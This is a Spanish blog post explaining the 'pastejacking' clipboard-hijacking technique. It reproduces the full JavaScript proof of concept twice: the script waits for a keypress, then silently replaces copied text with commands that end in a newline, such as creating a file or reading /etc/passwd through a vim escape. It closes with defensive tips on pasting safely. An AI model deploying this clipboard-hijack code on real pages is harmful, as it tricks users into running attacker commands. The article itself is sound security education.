Pastejacking: usando Javascript para sobrescribir el portapapeles con contenido malicioso

Ahora los navegadores permiten a los desarrolladores añadir automáticamente el contenido al portapapeles de un usuario, dependiendo de ciertas condiciones, normalmente mediante eventos del navegador. 
Recientemente Dylan Ayrey aka dxa4481 ha desarrollado una técnica bautizada como pastejacking que se aprovecha de ésto para engañar al usuario y conseguir que ejecute comandos maliciosos.

Cabe señalar que durante un tiempo también se podían realizar ataques similares a través de HTML/CSS. La diferencia con esta técnica es que el texto puede ser copiado después de un evento o copiado después de un breve periodo de tiempo, y puede ser utilizado para explotar VIM, como se muestra a continuación.

Demo

El siguiente sitio sugiere al usuario copiar un inocente comando: https://security.love/Pastejacking

echo "not evil"

Si el usuario lo copia con la típica combinación de teclas ctrl+c o command+c se establece un temporizador de 800 ms y sobrescribirá el portapapeles del usuario con código malicioso:

echo "evil"\n

El salto de línea que se incluye al final hará que se ejecute el comando sin darle al usuario la oportunidad de revisarlo.

El código fuente es:
<html>
    <body>
        Copy the text below and run it in your terminal for totally not evil things to happen.
        </br>

        <p>echo "not evil"</p>
        <script>
            function copyTextToClipboard(text) {
              var textArea = document.createElement("textarea");

              //
              // *** This styling is an extra step which is likely not required. ***
              //
              // Why is it here? To ensure:
              // 1. the element is able to have focus and selection.
              // 2. if element was to flash render it has minimal visual impact.
              // 3. less flakyness with selection and copying which **might** occur if
              //    the textarea element is not visible.
              //
              // The likelihood is the element won't even render, not even a flash,
              // so some of these are just precautions. However in IE the element
              // is visible whilst the popup box asking the user for permission for
              // the web page to copy to the clipboard.
              //

              // Place in top-left corner of screen regardless of scroll position.
              textArea.style.position = 'fixed';
              textArea.style.top = 0;
              textArea.style.left = 0;

              // Ensure it has a small width and height. Setting to 1px / 1em
              // doesn't work as this gives a negative w/h on some browsers.
              textArea.style.width = '2em';
              textArea.style.height = '2em';

              // We don't need padding, reducing the size if it does flash render.
              textArea.style.padding = 0;

              // Clean up any borders.
              textArea.style.border = 'none';
              textArea.style.outline = 'none';
              textArea.style.boxShadow = 'none';

              // Avoid flash of white box if rendered for any reason.
              textArea.style.background = 'transparent';


              textArea.value = text;

              document.body.appendChild(textArea);

              textArea.select();

              try {
                var successful = document.execCommand('copy');
                var msg = successful ? 'successful' : 'unsuccessful';
                console.log('Copying text command was ' + msg);
              } catch (err) {
                console.log('Oops, unable to copy');
              }

              document.body.removeChild(textArea);
            }

            document.addEventListener('keydown', function(event) {
                var ms = 800;  
                var start = new Date().getTime();
                var end = start;
                while(end < start + ms) {
                    end = new Date().getTime();
                } 
                copyTextToClipboard('echo "evil"\n');
            });

        </script>
    </body>

</html>

A partir de ahí se pueden usar payloads más sofisticados. Tenéis otro ejemplo en https://security.love/Pastejacking/index3.html:

touch ~/.evil
clear
echo "not evil"


Este comando creará un archivo malicioso en el directorio personal y limpiará la salida del terminal. La víctima verá sólo como su comando se ha pegado en el terminal.


El código fuente es:
<html>
    <body>
        Copy the text below and run it in your terminal for totally not evil things to happen.
        </br>

        <p>echo "not evil"</p>
        <script>
            function copyTextToClipboard(text) {
              var textArea = document.createElement("textarea");

              //
              // *** This styling is an extra step which is likely not required. ***
              //
              // Why is it here? To ensure:
              // 1. the element is able to have focus and selection.
              // 2. if element was to flash render it has minimal visual impact.
              // 3. less flakyness with selection and copying which **might** occur if
              //    the textarea element is not visible.
              //
              // The likelihood is the element won't even render, not even a flash,
              // so some of these are just precautions. However in IE the element
              // is visible whilst the popup box asking the user for permission for
              // the web page to copy to the clipboard.
              //

              // Place in top-left corner of screen regardless of scroll position.
              textArea.style.position = 'fixed';
              textArea.style.top = 0;
              textArea.style.left = 0;

              // Ensure it has a small width and height. Setting to 1px / 1em
              // doesn't work as this gives a negative w/h on some browsers.
              textArea.style.width = '2em';
              textArea.style.height = '2em';

              // We don't need padding, reducing the size if it does flash render.
              textArea.style.padding = 0;

              // Clean up any borders.
              textArea.style.border = 'none';
              textArea.style.outline = 'none';
              textArea.style.boxShadow = 'none';

              // Avoid flash of white box if rendered for any reason.
              textArea.style.background = 'transparent';


              textArea.value = text;

              document.body.appendChild(textArea);

              textArea.select();

              try {
                var successful = document.execCommand('copy');
                var msg = successful ? 'successful' : 'unsuccessful';
                console.log('Copying text command was ' + msg);
              } catch (err) {
                console.log('Oops, unable to copy');
              }

              document.body.removeChild(textArea);
            }

            document.addEventListener('keydown', function(event) {
                var ms = 800;  
                var start = new Date().getTime();
                var end = start;
                while(end < start + ms) {
                    end = new Date().getTime();
                } 
                copyTextToClipboard('touch ~/.evil\nclear\necho "not evil"');
            });

        </script>
    </body>

</html>

Impacto

Este método se puede combinar con un ataque de phishing para atraer a los usuarios y que ejecuten comandos aparentemente inofensivos. El código malicioso reemplazará el código inocente, y el atacante podrá conseguir la ejecución remota de código en el host del usuario si el usuario pega el contenido en el terminal.

¿Cómo protegerse?

No es sencillo establecer contramedidas. Una solución podría ser la de verificar el contenido del portapapeles antes de pegarlo en un terminal, pero hay que tener cuidado dónde se verifican estos comandos. Por ejemplo si se pegan en vim, las macros de vim pueden utilizarse para la explotación:

copyTextToClipboard('echo "evil"\n \x1b:!cat /etc/passwd\n');

Esto hará que se muestre el contenido del fichero passwd cuando el comando se pegue en vim.

Un workaroung para ello sería:

"+p       -- within vim to paste clipboard without interpreting as vim command

Por otro lado si el usuario está ejecutando iTerm recibirá un aviso de que el comando termina con un salto de línea:



Por supuesto, no hace falta decir, que hay que tener especial cuidado a la hora de pegar de fuentes cuestionables.

Fuente: https://github.com/dxa4481/Pastejacking

Comentarios